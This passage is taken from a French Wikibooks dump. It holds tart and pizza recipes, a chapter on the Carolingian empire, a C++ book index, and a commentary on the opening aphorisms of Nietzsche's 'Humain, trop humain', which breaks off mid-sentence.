crème fraîche * 60g de comté rapé</td><td>[[Image:Tarte aux courgettes.JPG|200px]]</td></tr></table> == Préparation == # Eplucher les carottes, les courgettes et l'oignon. # Faire cuire les carottes à la vapeur (dans une cocote-minute), faire cuire les courgettes et l'oignon à feu doux, avec un peu d'huile, dans une casserole couverte. Lorsque les légumes sont cuits, les disposer sur des assietes pour les faire refroidir. # Préchauffez le four à 200°C. # Battre les oeufs dans un saladier avec la crème fraîche. Ajouter les légumes et mélanger. # Etaler la pâte brisée dans un plat, verser la préparation et couvrir de fromage rapé. # Mettre au four pendant environ 25 minutes. Livre de Cuisine/Tartes et pizzas/Pizza au chèvre et aux lardons 3871 46275 2006-06-28T10:52:52Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza au chèvre et aux lardons]] ==Ingrédients== *1 pâte à pizza (préparation dans l'article Pizza) *1 bûche de chèvre *400g de [[Cuisine:Sauces#Concassé de tomates|concassé de tomates]] *100g de lardons *50g de parmesan ==Préparation== Faire chauffer le four à 200°C. <table><tr><td> {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Preparation pizza au chevre1.JPG|200 px|center|]]<br /><center>Lorsque la pâte est levée, étaler le concassé de tomate.</center> | [[Image:Preparation pizza au chevre2.JPG|200 px|center|]]<br /><center>Disposer les lardons crus.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | [[Image:Preparation pizza au chevre3.JPG|200 px|center]]<br /><center>Couper la bûche en rondelle et la disposer régulièrement sur la pizza. Trois tranches par quart est une bonne proportion. Râper le parmesan par dessus.</center> | valign=top |[[Image:Pizza au chevre.JPG|200 px|center]]<br /><center>Mettre au four et laisser cuire environ un quart d'heure.</center> |} Livre de Cuisine/Tartes et pizzas/Tarte au saumon et aux épinards 3872 46267 2006-06-28T10:50:23Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte au saumon et aux épinards]] __NOTOC__ == Ingrédients == *1 rouleau de pâte feuilletée *300 g. de pavé de saumon frais coupé en fines lamelles *250 g. de feuilles d'épinards fraîches et lavées *3 œufs *20 cl de crème fraîche *1 cuiller à café de coriandre en poudre *sel et poivre du moulin ==Ustensiles== *une casserole *un saladier *un moule à tarte ==Préparation (Temps de préparation estimé : 15 minutes)== #Préchauffer le four à 220° pendant 15 min. #Faites cuire les feuilles d'épinards dans une casserole d'eau bouillante, puis égouttez-les et coupez-les grossièrement au couteau. #Dans le saladier, mélangez les œufs, le coriandre en poudre, la crème fraîche, salez et poivrez. #Beurrez le moule à tarte, ou utilisez du papier sulfurisé, déroulez la pâte et placez-la dans le moule. #Répartissez sur la pâte, le saumon, les épinards bien égouttés, et versez la préparation à la crème et aux œufs. #Mettez la tarte au four et laissez cuire environ 25 minutes à 220°C. #Servez la tarte chaude. Livre de Cuisine/Tartes et pizzas/Tarte aux tomates et au gouda 3873 46269 2006-06-28T10:51:15Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte aux tomates et au gouda]] ==Ingrédients (pour 6 personnes)== *1 pâte brisée, 1 kilogramme de tomates et 4 tomates coupées en tranche épaisses, *20 tranches fines de gouda *40 grammes de gruyère râpé. *200 grammes de lardon *3 cuillers à soupe de basilic, 1 cuiller à soupe d'ail, poivre *6 cuillers à soupe d' huile d'olive, 1 cuiller à soupe de concentré de tomate, 1 pincée de sucre, Tabasco, sel du cuisine, poivre du moulin ==Préparation== #Dans une sauteuse, faire chauffer l'huile d'olive, y mettre l'ail à revenir et ajoutez les tomates, 2 cuillers à soupe de basilic, le concentré de tomate, salez et poivrez, un peu de tabasco et une pincée de sucre. #Faire cuire le coulis ainsi préparé 10 minutes à feu doux. #Etalez la pâte brisée et disposez-la au fond d'un moule à tarte, recouvrez la avec le gouda, ajoutez le coulis préparé et et les tomates en rondelles, terminez en saupoudrant du fromage râpé. #Faites cuire la tarte 30 minutes au four préchauffé à 210 °C. #Servez la tarte chaude ou tiède, saupoudrée du basilic restant et accompagnée de quelques feuilles de salade. Livre de Cuisine/Tartes et pizzas/Tarte au Maroilles 3874 46270 2006-06-28T10:51:32Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte au Maroilles]] ==Ingrédients== *200g de farine *8g de levure de boulanger *1 oeuf *le quart d'un maroille *une pincée de sel ==Préparation== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% valign=top |[[Image:Preparation tmaroilles levure.jpg|200px|center|]]<br /><center>Faire gonfler la levure dans un verre ou une tasse avec un peu d'eau chaude et le sucre.</center> |valign=top| [[Image:Preparation tarte maroilles.jpg|200 px|center|]]<br /><center>Dans un saladier, creuser un puit avec la farine, verser au centre l'oeuf, la levure et le sel. Pétrir le mélange jusqu'à obtenir une pâte visqueuse.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top|[[Image:Preparation tarte maroilles3.jpg|200 px|center]]<br /><center>Beurrer et saupoudrer de farine un plat puis étaler la pâte. Le mettre au four pendant environ 20 minutes à 70°C pour que la pâte gonfle.</center> | valign=top|[[Image:Tartemaroillesavcuisson.jpg|200 px|center]]<br /><center>Couper des tranches de maroilles et en couvrir la pâte.</center> |- bgcolor="#efefef" ! Étape 5 |----- | valign=top|[[Image:Tartemaroillesapcuisson.jpg|200px|center]]<br />Mettre au four pendant 15-20 minutes à 180°C. |} Livre de Cuisine/Tartes et pizzas/Tarte aux fromages 3875 46272 2006-06-28T10:51:48Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte aux fromages]] ==Ingrédients (pour 6 personnes) == * 1 pâte feuilletée * 150 grammes de bleu d'Auvergne ou de roquefort * 150 grammes d'emmenthal râpé * 200 grammes de fromage blanc à 20% de matière grasse * 20 grammes de beurre, 20 cl de crème liquide, 3 œufs * 3 cuillers à café d'oignon, 3 cuillers à soupe de ciboulette, sel, poivre du moulin ==Préparation== * Dans un saladier, écrasez le bleu d'Auvergne (ou le roquefort) en lui incorporant petit à petit le fromage blanc, l'emmenthal, la crème, les œufs et 2 cuillers à soupe de ciboulette. * Faites dorer les oignons dans le beurre sur feu moyen, puis ajoutez y la préparation et mélangez le tout, salez, poivrez * Étalez la pâte feuilletée et disposez-la au fond d'un moule à tarte. Piquez la fond avec une fourchette avant d'y verser le préparation. * Faites cuire la tarte 30 minutes au four préchauffé à 210 °C. * Servez la tarte chaude, parsemée du reste de ciboulette. Livre de Cuisine/Tartes et pizzas/Pizza Margherita 3876 46274 2006-06-28T10:52:27Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza Margherita]] Livre de Cuisine/Tartes et pizzas/Pizza au thon 3877 46276 2006-06-28T10:53:11Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza au thon]] <table><tr><td> == Ingrédients == * 1 pâte à pizza * 400g de concassé de tomates * 300g de thon * 3 cuillères à soupe de crème fraîche * 100g de comté<br />(facultatif : du chorizo ou des rondelles de poivrons pour la garniture)</td><td>[[Image:Pizza au thon preparation.JPG|200px]]</td></tr></table> <table><tr><td> == Préparation == # Faire préchauffer le four à 200°C. # Etaler la pâte dans un plat, la garnir de concassé de tomates. # Ecraser le thon dans une assiette et le mélanger avec la crème fraîche. Garnir la pizza. # Raper le comté en saupoudrer la pizza. # Faire cuire au four pendant 20 minutes.</td><td>[[Image:Pizza au thon.JPG|200px]]</td></tr></table> Livre de Cuisine/Tartes et pizzas/Pizza à la pancetta 3878 46277 2006-06-28T10:54:13Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza à la pancetta]] __NOTOC__ == Ingrédients == * une pâte à pizza * 400g de concassé de tomates * 3 tranches de jambon fumé (du jambon de Parme convient très bien) * 120g de pancetta * 120g de mozarella * 60g de comté (faculatatif) == Préparation == {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Preparation pizza au chevre1.JPG|200 px|center|]]<br /><center>Etaler la pâte à pizza dans un moule et la couvrir de concassé de tomates.</center> | valign=top | [[Image:Preparation pizza pancetta.JPG|200 px|center|]]<br /><center>Couper le jambon en carré et les disposer sur la pizza.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top | [[Image:Preparation pizza pancetta 2.JPG|200 px|center]]<br /><center>Couvrir de rondelles de pancetta.</center> | valign=top | [[Image:Preparation pizza pancetta 3.JPG|200 px|center]]<br /><center>Couper la mozarella en petits cubes et en recouvrir la pizza. Couvrir également de comté.</center> |- bgcolor="#efefef" ! Étape 5 |----- | valign=top | [[Image:Pizza à la pancetta.JPG|200px|center]] <br /><center>Faire cuire un quart d'heure à four chaud, à 200°C.</center> |} Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons 3879 46279 2006-06-28T11:06:19Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza aux poivrons]] == Ingrédients == * 1 pâte à pizza * 400g de concassé de tomates * 1 poivron rouge * 1 poivron vert * 1 oignon * une dizaine de tranches de chorizo * 120g de mozzarella * 50g de comté * un filet d'huile == Préparation == {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Cuisson des poivrons (pizza).JPG|200px|center|]]<br /><center>Couper les poivrons et l'oignon. Réserver quatre tranches de poivron jaune. Le faire mijoter pendant une demi heure à feu doux avec l'huile.</center> | [[Image:Preparation pizza poivrons.JPG|200px|center|]]<br /><center>Etaler la pâte à pizza dans un plat. La recouvrir de concassé de tomates et des légumes cuits. </center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | [[Image:Preparation pizza poivrons 3.JPG|200px|center]]<br /><center>Couper la mozzarella en dés et raper le comté. En couvrir la pizza ainsi que les quatre tranches de poivron restantes.</center> | [[Image:Pizza aux poivrons.JPG|200px|center]]<br /><center>Faire cuire au four pendant un quart d'heure à 220°C. Au bout de dix minutes sortir la pizza pour y ajouter le chorizo.</center> |} Livre de Cuisine/Pizzas végétaliennes 3880 46278 2006-06-28T11:05:20Z Nicombo 684 [[Catégorie:Cuisine|Pizzas végétaliennes]] [[Catégorie:Tartes et pizzas|Pizzas végétaliennes]] * [[Livre de Cuisine/Tartes et pizzas/Pizza végétalienne|Pizza végétalienne]] * [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons 2|Pizza aux poivrons]] * [[Livre de Cuisine/Tartes et pizzas/Pizza au tofu et aux champignons|Pizza au tofu et aux champignons]] * [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons et au pesto|Pizza aux poivrons et au pesto]] * [[Livre de Cuisine/Tartes et pizzas/Pizza Calzone aux aubergines|Pizza Calzone aux aubergines]] Histoire de l'Europe:Chapitre 6 3881 23951 2005-10-22T23:24:53Z 82.230.62.88 /* Les moyens de puissance de l’empire */ == La construction carolingienne == === Les origines de l’empire === Vers 500, CLOVIS, un chef Franc de la dynastie mérovingienne, impose sa domination à une grande partie de l’empire romain d’Occident : la Gaule, la Rhénanie et l’Allemagne du Sud. Il considère son royaume comme un butin de guerre personnel. Son état sera donc divisé entre ses quatre fils : *Au Nord-Ouest : la Neustrie (royaume de l’Ouest) ; *Au Sud-Ouest : l’Aquitaine ; *Au Sud-Est : la Bourgogne ; *Au Nord-Est : l’Austrasie (Meuse, Moselle, Rhin). La dynastie mérovingienne va s’affaiblir suite à différents mariages consanguins. Les rois mourant prématurément vont amener sur le trône de jeunes enfants. L’État sera dès lors dirigé par le maire du palais. Il y a un maire par état. Le maire de l’Austrasie va faire en sorte que sa charge devienne héréditaire. Il s’emparera par la suite des trois autres mairies, réunifiant par cette occasion l’état vers 700. L’Aquitaine reste cependant une principauté autonome dirigée par un duc sous la dépendance directe du royaume franc. En 732, CHARLES MARTEL est appelé par le duc d’Aquitaine afin de stopper l’avancée musulmane qui voulait atteindre Tours. Après ce coup de force, il serait tout naturel que CHARLES MARTEL s’empare de la couronne. Il n’en est rien car, pour le peuple, la dynastie mérovingienne est de nature surnaturelle, elle protège le royaume. Ce dernier est dès lors dirigé par deux dynasties : *Une dynastie royale : les Mérovingiens. *Une dynastie de maires du palais : les Carolingiens. Dès lors, lorsque PÉPIN III « LE BREF » (N.B. : surnom tardif) va déposer les Mérovingiens en 751, il va s’appuyer sur l’aristocratie et sur le pape qui accueille sa demande à bras ouverts. En effet, à ce moment, les États Pontificaux sont encerclés par les Lombards et l’Empire de Constantinople, iconoclaste, lui refuse son aide. Une fois déposé, le roi sera envoyé dans un monastère et rasé. PÉPIN sera « eleuatus et unctus » par Saint BONIFACE qui agit en tant que légat pontifical. C’est la naissance de la monarchie sacrée qui durera jusqu’en 1825. En 800, CHARLEMAGNE est sacré empereur. Il est à la tête d’un empire énorme s’étendant de l’Èbre à l’Elbe et de la Marche de Bretagne au Sud de Rome. La Bretagne n’est pas soumise. Il y a de nombreuses révoltes car, vu sa grandeur, l’empire présente une grande diversité ethnique, linguistique, sociale… Ex. : Aquitaine, Bavière, Italie, Saxe… C’est grâce à sa forte personnalité que CHARLEMAGNE parvient à maintenir l’ordre. De plus, il était imposant par sa stature (il mesurait en effet 1,92 m). === Les divisions administratives de l’empire === Outre les quelques domaines personnels de l’empereur, notamment à Herstal et à Aix-la-Chapelle, l’empire est divisé en comtés et en marches. *Comté : circonscription administrative dirigée par un comte, représentant du roi, nommé, déplacé ou destitué par celui-ci. *Marche : territoire frontière dirigé par un marquis chargé de protéger les frontières de l’empire. Il a le pouvoir de lever les troupes sans l’aval de l’empereur. Il est choisi parmi les favoris de l’empereur afin d’éviter les coups d’état. Exemple : Marche de Bretagne (ROLAND) protège des Bretons, Marche d’Espagne/Catalogne protège des Musulmans, Marche de l’Est (Danube, Vienne)protège des Avars… Ils cherchent tous deux à rendre leur fonction héréditaire, forçant l’empereur à prendre différentes mesures : *Contrôle par les missi dominici : au nombre de deux (un comte et un évêque), ils sont chargés d’effectuer le contrôle, chacun dans leur domaine, des autres comtés. *Installation de parents pour jouer le rôle de vice-roi, notamment dans les zones à problèmes comme l’Italie, l’Aquitaine, la Bavière… *Installation de gens de l’aristocratie d’Austrasie pour diriger ces comtés. Exemple : les Robertiens, ancêtre des Capétiens (le comte de Tour et l’abbé de Saint Martin proviennent d’Austrasie). *Développement de l’institution féodo-vassalique. Cela va se retourner contre l’empereur et n’aura pas l’effet escompté : elle va favoriser l’indépendance. *Exigence de ses sujets libres de prêter serment de fidélité. === Les moyens de puissance de l’empire === La puissance est basée sur cinq piliers : *1.L’armée : le roi est un chef de guerre, la guerre est une institution. Naissance de la cavalerie lourde vers le VIIIe siècle. (potentiel de 35.000 cavaliers, 100.000 fantassins) *2.La Justice : synonyme de pouvoir, pouvoirs qui ne sont pas divisés. CHARLEMAGNE s’empare donc de toutes les grandes affaires, les autres sont données aux comtes. Vers 780, des échevins assistent les comtes. Ils sont au nombre de sept. Les comtes président, et, quand les témoins ont été entendus, les échevins trouvent le jugement que les comtes font appliquer. *3.Les finances : **Villae (c.1.000 villae pour 2.000.000 ha). **Tonlieu : taxe douanière sur la circulation et la vente des marchandises. **Dons annuels provenant des aristocrates. Il s’agit d’un don occasionnel pour obtenir une faveur qui est devenu obligatoire. Il est constitué le plus souvent de lingots d’argent et de chevaux. **Exercice de la justice : amendes, confiscations… **Pillage de vaincus : l’État s’est construit puis maintenu par l’art de la guerre victorieuse, et donc, du pillage. **Monnaie : c.Ve-VIIe siècles, la monnaie est privatisée. CHARLEMAGNE y met fin et réinstaure la monnaie royale vers 800. ---- CHARLEMAGNE réforme la monnaie de manière conséquente : *Monométallisme argent : l’or n’est plus frappé parce qu’il est thésaurisé car le pouvoir de l’argent est suffisant.. *Comptes en « livre-sou-denier » : une livre = vingt sous = 240 deniers ; un sou = 12 deniers. Ce système subsiste en Angleterre jusqu’en 1971. **La livre est une unité de poids correspondant à un lingot de 470 gr. d’argent et se présente sous la forme d’un lingot. **Le sou est simplement une unité de compte. **Le denier est une pièce d’argent frappé de 2 gr. C’est la seule pièce qui circule. **L’obole ou la maille est un demi denier pour permette aux pauvres de faire des dons à l’Église. *Réduction du nombre d’atelier monétaire fixe à 30 et création d’un atelier mobile qui suit CHARLEMAGNE. Il y a donc contrôle étroit. De plus, ces ateliers sont confiés à des comtes sûrs provenant de l’entourage de l’empereur. L’argent est un élément de prestige à valeur symbolique. Il représente une certaine quantité de matière qui n’a pas d’équivalence exacte. En effet, un lingot d’une livre d’argent équivaut à 240 deniers mais l’état en taille 260. Il y a donc un bénéfice brut de 20 deniers qui correspondent au seigneuriage. À la mort de CHARLEMAGNE, la situation va se dégrader et les ateliers monétaires vont s’accroître jusqu’à des centaines dans tout l’empire. Chaque comte va vouloir son propre atelier. De plus, ils vont augmenter le nombre de pièces taillées hors du lingot, ce qui va occasionner une dévaluation de cours de la monnaie ainsi qu’une inflation (hausse) des prix. Au XIIIe siècle, il y a une réforme à cause du développement du commerce international. Le besoin d’une monnaie plus forte, plus coûteuse, avec un pouvoir libératoire plus élevé se fait rudement sentir. Cette réforme consiste en : *Frapper de plus grosses pièces (monnaie de gros) correspondant au sou. **Naissance en Italie (Pise, Gênes, Venise, Florence) c.1240 du Florin d’argent. **Naissance en France avec Saint LOUIS (Tour) du Gros Tournois. *Frapper l’or qui correspond à 10-12 fois l’argent. **Naissance en Allemagne avec Frédéric II en tant que roi de Sicile de l’Augustale. Cette tentative est un échec parce que les gens les gardent comme souvenirs, collectionneurs… (cf. Euros du Vatican). **Florence vers 1250 : Florin d’or. **Venise vers 1284 : Ducat ou Sequin (de Sikki). **France avec Saint LOUIS vers 1266-1270 : l’Écu (10 sous). **Vers 1300, l’or va s’imposer. C’est donc la renaissance du bimétallisme or-argent. ---- *4.La religion : facteur d’unité le plus efficace. Le roi est maître de l’église. L’église est une institution royale. Le roi nomme les principaux dignitaires ecclésiastiques : évêques et abbés. Il s’agit de théocratie royale ! Les évêques et les abbés sont considérés comme des fonctionnaires (cf. missi dominici). Au IVe siècle, le roi convoque les conciles et les préside. Il peut même trancher les problèmes religieux. La religion est donc un auxiliaire du pouvoir. De plus, l’évangélisation forcée permet une assimilation plus aisée des populations conquises. ---- La Renaissance Carolingienne est instaurée par ALCUIN. Elle a pour but de développer l’enseignement du latin pour pouvoir l’utiliser dans l’administration et la religion et, dès lors, retranscrire quelques 8.000 manuscrits comprenant c.10 oeuvres importantes de l’Antiquité et notamment la Vulgate de Saint JÉRÔME. C’est ALCUIN lui-même qui va s’en occuper. Le but ultime est de créer un clergé compétant et instruit pour bien prier et pour s’occuper de l’administration. Le latin est, à l’époque, une langue vivante apprise comme l’Anglais aujourd’hui. ---- *5.L’aristocratie : bien connue de CHARLEMAGNE puisqu’il en est issu, elle occupe tous les grands postes (ex. Robertiens). === Le couronnement de Charlemagne === CHARLES, roi des Francs, est couronné empereur en la basilique Saint PIERRE de Rome par le pape LÉON III. De cela, nous possédons des sources en les annales royales et les annales de l’abbaye de Lorsch. L’empire deviendra donc un empire : *Romain : comme il n’y avait plus d’empereur à Constantinople mais une impératrice, il fallait donc trouver de toute urgence un nouvel empereur. Le pape décide donc de couronner CHARLEMAGNE, ce qui met fin à l’interrègne. CHARLEMAGNE devient l’héritier des « CÉSAR ». Il a été adoré par le pape. Ce sera la seule et unique fois que le pape reconnaîtra la supériorité du temporel par rapport à l’éternel. CHARLEMAGNE est donc le successeur d’AUGUSTE et de CONSTANTIN. *Chrétien : les évêques se réunissent en concile le jour de Noël et de l’an pour couronner un empereur en la basilique Saint PIERRE de Rome. Ce lieu sera repris par tous les autres empereurs parce que Saint PIERRE est un des protecteurs les plus importants avec Saint JÉRÔME. L’empereur est considéré comme la seconde moitié de Dieu avec le pape. Revenons-en à CHARLEMAGNE, son titre complet est : « CHARLES sérénissime AUGUSTE couronné par Dieu, grand qui maintient l’ordre, empereur gouvernant l’empire des Romains, roi des Francs et des Lombards. », il donnait une impression de solidité et de cohérence. == La débâcle d’un empire == Comme le royaume était un bien familial, il devait être divisé entre les différents fils de l’empereur : CHARLES, PÉPIN et LOUIS. Mais, étant donné que CHARLEMAGNE a vécu longtemps, ses deux premiers fils sont décédés avant lui (respectivement en 811 et 810). Donc, à la mort de CHARLEMAGNE en 814, l’empire est arrivé entre les mains de son seul héritier, en un seul morceau. L’empire ne sera divisé qu’en 840. LOUIS, de caractère diamétralement opposé à celui de son père, rencontrera quelques difficultés. En effet, il manque de caractère, de jugement, de clairvoyance ; il est casanier, il a lutté sa vie durant contre son fils LOTHAIRE qui voulait le destituer. En 840, LOUIS meurt et ses trois fils, LOTHAIRE, LOUIS et CHARLES, vont se disputer la succession. En 843, LOTHAIRE est chassé d’Aix-la-Chapelle jusqu’au traité de Verdun qui détermine les frontières entre les trois frères. Il s’agit d’un événement important mais pas exceptionnel : *Important parce qu’il a formé les deux blocs les plus importants (la France et l’Allemagne), qui sont toujours deux piliers de l’Europe actuelle. *Pas exceptionnel parce que le partage est un fait courant (cf. patrimoine personnel). Il s’agit du dernier grand partage de l’empire carolingien. Il sera divisé en trois, entre CHARLES, LOTHAIRE et LOUIS. CHARLES LE CHAUVE obtiendra la Francia de l’Ouest : de Barcelone et la Marche de Bretagne à l’Escaut, la Haute Meuse, la Saône et le Rhône. LOUIS, la Germanie : du Rhin (excepté la Frise) à l’Elbe, aux Alpes, à la Bohème, la Marche du Danube et la Carinthie. C’est ce qui lui vaudra le surnom de « LOUIS LE GERMANIQUE ». LOTHAIRE, de la Frise à l’Italie centrale en passant par la Provence. Il s’agit d’un territoire de 1.500 Km de long. Il possède donc le royaume le plus riche, le Palais d’Aix-la-Chapelle, il domine les Ardennes, le coeur de l’Austrasie, il contrôle Rome, le Pape et la chrétienté. Il possède également la couronne impériale. Ce dernier royaume ne subsistera pas. Il va se diviser au profit de la Germanie qui va l’absorber. En 855, LOTHAIRE meurt et son royaume sera divisé en trois : Italie, Provence et Lotharingie. Ils seront absorbés successivement en 950, 1030 et 925. L’Escaut, la Haute Meuse, la Saône et le Rhône deviennent donc les nouvelles frontières de la Germanie. En 843, le royaume franc est divisé, tout en restant unifié. En effet, la couronne impériale ainsi que le titre de roi des Francs subsistent. Aux IXe-Xe siècles l’ancien empire de CHARLEMAGNE sombre dans une anarchie profonde dont le mouvement n’est pas uniforme et se propage de l’Est vers l’Ouest à cause : *Des guerres civiles entre les successeurs de CHARLEMAGNE. *Des invasions normandes (IXe siècle). *Des invasions hongroises (900-950). *De l’esprit d’indépendances des comtes : une fois leur charge héréditaire, ils ne peuvent plus être destitués et ils forment dès lors des principautés territoriales indépendantes. C plus plus 3882 35272 2006-03-01T13:13:45Z Merrheim 1032 [[Accueil/Informatique|<<Retour à l'étagère informatique]] Trois livres sur le [[w:C_plus_plus|C++]] sont disponibles : *[[Programmation C plus plus|Programmation C++]] écrit de façon collaborative mais encore peu avancé. *[[Programmation C C plus plus Avant-propos|Programmation C C++ par Christian Casteyde]] le livre lui-même est très complet, mais sa copie sur wikibooks est en cours. *[[ Programmation_C_plus_plus_debutants|Programmation C++ (débutant) ]]{{50}} : un cours pour débutants avec exercices corrigés. Programmation bash Variables 3884 15360 2005-06-05T07:53:30Z Guillaumito 46 Programmation bash Variables déplacé vers Programmation bash Bases #REDIRECT [[Programmation bash Bases]] Humain, trop humain - I. Des principes et des fins 3885 16579 2005-07-15T19:21:42Z Marc 66 /* § 3. Estime des vérités discrètes */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Humain, trop humain]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"|'''[[Humain, trop humain - II. Pour servir à l'histoire des sentimaux moraux|II. Pour servir à l'histoire des sentimaux moraux]]''' |} Cette première partie du livre compte 34 aphorismes. Elle porte sur les problèmes de la connaissance et de ses conséquences éthiques, ainsi que sur les erreurs de la métaphysique, et pose les fondements d'une réévaluation des sentiments et des idées humains (moraux, religieux, esthétiques, espistémologiques) d'après une science nouvelle, la philosophie historique. ==== § 1. Chimie des idées et sentiments ==== Le premier aphorisme de ce chapitre annonce le sujet du livre, sujet qui donne une explication du titre : la philosophie historique. Cette philosophe historique découle d'une réévaluation des problèmes philosophiques rendue possible par la réfutation de la métaphysique. En effet, la métaphysique explique l'origine et la nature de tous les concepts moraux, religieux, philosophiques, en y introduisant une division temporelle caractéristique qui leur attribue une valeur supranaturelle. Par exemple, la vérité, la raison, etc. auront une origine surnaturelle, cela veut dire qu'elles ne sont pas engendrées, autrement dit qu'elles sont éternelles, par opposition au caractère éphémère ou vain de l'erreur, des passions, etc. Or, toute explication métaphysique étant écartée, la question se pose de savoir comment nous pouvons encore expliquer ces concepts, ces sentiments, etc. Par exemple, si la vérité n'est pas éternelle, quelle relation a-t-elle avec l'erreur ? La vérité, de ce point de vue, pourrait être une variété de l'erreur. Ce qui est ici écartée, ce sont les explications métaphysiques qui opposent par nature des concepts ou des comportements psychologiques. D'une manière générale, il faut comprendre comment certaines réalités naissent les unes des autres, la vérité de l'erreur, l'altruisme de l'égoisme, etc. Cela suppose de faire l'histoire de ces réalités, et d'en faire une analyse comparable à l'analyse chimique. Ceci démontre en particulier l'importance de la psychologie pour comprendre la genèse des valeurs humaine (par exemple, plus tard, dans [[Par-delà bien et mal#Psychologie du philosophe|''Par-delà bien et mal'', première partie]], Nietzsche fera une pshychologie des philosophes). Nietzsche énonce dès ce premier aphorisme ce que devrait être une méthode débarassée de la perspective métaphysique : *l'observation morale scrupuleuse et fine ; *l'art de la nuance : la réalité est faite de degrès ; *la nécessité de formuler une théorie de la sublimation des instincts pour expliquer la nature de toutes les valeurs humaines. C'est donc une question de méthode qui se pose. Mais il se pose alors immédiatement un autre problème : le caractère foncièrement inhumain d'une connaissance qui ne recourt plus aux explications humaines habituelles. Non seulement, par une telle méthode, les sentiments humains les plus nobles se trouvent analysés en passions jugées viles, mais on retire du même coup ce qu'il pouvait y avoir de consolateur dans la contemplation de la partie la plus haute, la plus morale de l'humanité, et dans la pensée de sa destinée supranaturelle. Tout ceci est supprimé d'un coup, et la vérité devient ainsi laide et repoussante. Cette première partie est ainsi partagée à peu près en deux groupes d'aphorismes : *les aphorismes qui montrent les erreurs de la métaphysique ; *les aphorismes qui posent les questions méthodologiques et morales sur les conséquences de l'impossibilité d'une perspective métaphysique sur le monde. Le point sans doute essentiel est que Nietzsche fait dès le début du livre entrer le temps dans le champ de la pensée. Il n'est plus question de se demander ce qui vaut éternellement, et de donner ainsi une valeur absolue à certaines réalités, mais de penser le monde d'un point de vue fini, celui de l'homme, c'est-à-dire d'un être vivant, donc mortel, qui ne sait en somme pas grand chose sur le monde qui l'entoure ni sur lui-même. Il y a là une certaine ressemblance avec la démarche socratique, qui nous appelle à la modestie. Nous verrons que cette perspective temporelle sur la finitude humaine entraine une redéfinition complète du champ de la philosophie, en particulier une prise en considération de ces nombreux aspects de la vie humaine qui furent longtemps refoulés par la pensée éternelle (par exemple le rêve, dont l'interprétation a une place clé dans la méthode nietzschéenne). À la fin de l'aphorisme, Nietzsche énonce les domaines qui doivent faire l'objet d'un nouvel examen ; ces domaines forment le plan du livre : *''représentations et sentiments moraux'', chapitre II *''religieux'', chapitre III *''esthétiques'', chapitre IV *''basse et haute civilisation'', chapitre VI *''société'', chapitre VII, VIII, IX *''la solitude'', chapitre X Les trois premiers domaines sont donc la morale, la religion et l'art. Leur étude sera approfondie au fil des ans dans ''Aurore'', le ''Gai Savoir'', ''Généalogie de la morale'', ''Crépuscule des idoles'', etc. Nietzsche dégagera en effet les types de l'artiste (Wagner, l'artiste moderne) et de l'homme religieux (psychologie du prêtre dans la ''Généalogie), dont nous trouvons déjà les traits caractéristiques dans ''Humain, trop humain''. Nous trouvons également déjà l'idée d'une double origine de la morale, idée qui sera l'objet de la généalogie. Le domaine suivant, portant sur la société et la politique, conduit à l'élaboration d'une grande politique ; et la solitude est un thème lié au philosophe législateur qui réunit en lui plusieurs traits typiques de l'homme moral, artiste, religieux et politique. Ainsi, la lecture scrupuleuse de ''Humain, trop humain'' donne une idée précise et développée de l'ensemble de la pensée de Nietzsche qui possède une unité et une continuité parfois occultées par le découpage en trois périodes de sa philosophie. Ce premier aphorisme nous donne à lui seul un plan relativement complet de toutes les oeuvres de Nietzsche ; néanmoins, il faut garder à l'esprit qu'on ne trouve pas encore explicitement les grands concepts auxquels on réduit Nietzsche - Volonté de puissance, Eternel Retour, Surhomme. ==== § 2. Péché originel des philosophes ==== À l'analyse des sentiments et des idées qu'il propose, Nietzsche oppose le point de vue de tous les philosophes : ceux-ci décrivent l'homme comme une vérité éternelle. Pour répondre à la question de savoir ce qu'est l'homme, les philosophes analysent l'homme actuel, et pensent ainsi le connaître dans son ensemble, ce qui donnerait une clé pour la compréhension du monde en général : le monde est conçu comme originairement semblable à l'homme. Cette théorisation est ainsi une téléogie dont l'homme est le centre. Cette méthode a quelques présupposés que Nietzsche souligne particulièrement : *l'essence de l'homme est éternelle ; *elle est immuable au sein du devenir ; l'homme est en quelque sorte autonome, il est une réalité indépendante des choses ; *l'homme est mesure (Nietzsche fait allusion à l'étymologie de ce mot) absolue des choses ; thèse que Nietzsche reprend en disant que l'homme est l'animal qui fixe des valeurs, en croyant à l'objectivité de ces valeurs. Ces attributs traditionnels de l'essence de l'homme sont étonnants par leur démesure, car il montre qu'en réalité l'homme s'est pensé comme ''Dieu''. L'homme s'est ainsi pensé comme un être atemporel, dont l'essence n'est pas touchée par le monde et le devenir. La thèse opposée soutenue par Nietzsche introduit au contraire, comme nous l'avons signalé plus haut, le temps dans la connaissance que nous pouvons avoir de l'homme. Plus exactement, le temps est l'élément essentiel de cette connaissance. Nous ne pouvons pas sérieusement penser l'homme comme un être sans histoire, qui ne serait 